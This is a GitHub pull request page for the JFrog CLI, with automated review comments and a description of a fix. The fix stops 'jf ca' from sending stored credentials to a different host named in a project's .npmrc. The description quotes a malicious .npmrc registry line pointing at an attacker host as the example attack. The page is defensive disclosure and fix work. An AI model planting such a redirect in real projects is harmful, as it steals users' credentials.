Repository navigation
XRAY-163629 - Check .npmrc host matches jf c server before sending credentials - #943
Conversation
|
Important Review skippedAuto reviews are disabled on base/target branches other than the default branch. Please check the settings in the CodeRabbit UI or the
|
… before embedding any auth creds
773f734 to
373d9ec
Compare
|
Could the description say what changed and why? It would help to note that pnpm (always) and npm (under A few smaller points:
Suggested release note: "Improved 'jf ca' security: 'jf c' credentials are no longer sent to a different .npmrc host (pnpm, npm --run-native)." Review generated by xray-pr-review |
4885e79 to
f4d01b5
Compare
Phavya-jfrog
left a comment
There was a problem hiding this comment.
Reviewed f4d01b5. The .npmrc host guard for pnpm, the pnpm probe and npm --run-native looks right, and the new tests fail without it. Three small follow-ups are in the inline comments.
The earlier Unit Tests failure was only TestBuildDependencyTreeLimitedDepth (axios 1.21.1 vs 1.21.0), which this PR's logic doesn't touch; the latest commit updates that expectation (worth a line in the description, since it isn't mentioned). Unit tests only run when the safe to test label is added, so this head has no run yet. Could you re-add the label and share the result? The npm-big-tree fixture has no lockfile, so making it hermetic could be tracked separately.
Review generated by xray-pr-review
f4d01b5 to
3395a09
Compare
3395a09 to
b57c66e
Compare
b57c66e to
584462b
Compare

What changed and why
jf curation-audit(jf ca) reads the npm registry URL from the scanned project's own.npmrc(always for pnpm, and for npm under--run-native). When that.npmrchad no token, the CLI reused thejf ccredentials and only swapped in the.npmrchost, so a project author could commitregistry=https://attacker.example/artifactory/api/npm/npm/and receive the victim's JFrog credential on the first dependency probe.Fix: the host guard already used for yarn, uv, pip, poetry, cargo and gem (
credentialFallbackServerDetails) now also covers the three unguarded paths:--run-nativeresolver (setRepoFromNpmrc)setRepoFromNpmrcForPnpm)curationNoLockfileError): the probe is skipped on a host mismatch, so no request is sent thereAlso: the shared
ServerDetailsis no longer mutated in place, URL userinfo is redacted from the mismatch error and the probe warning, and the error now points tojf c use <server-id>/JFROG_CLI_SERVER_ID(jf cahas no--server-idflag).Behavior change
pnpm (always) and npm (under
--run-native) now stop with a "does not match" error when the.npmrcregistry scheme/host differs from the configuredjf cserver, including reverse-proxy and vanity-domain setups. The error ends the audit of that working directory (later ones still run with--working-dirs). Workaround: align the two URLs or select the matching server withjf c use <server-id>/JFROG_CLI_SERVER_ID.Release note
Improved 'jf ca' security: 'jf c' credentials are no longer sent to a different .npmrc host (pnpm, npm --run-native).
devbranch.🤖 Generated with Claude Code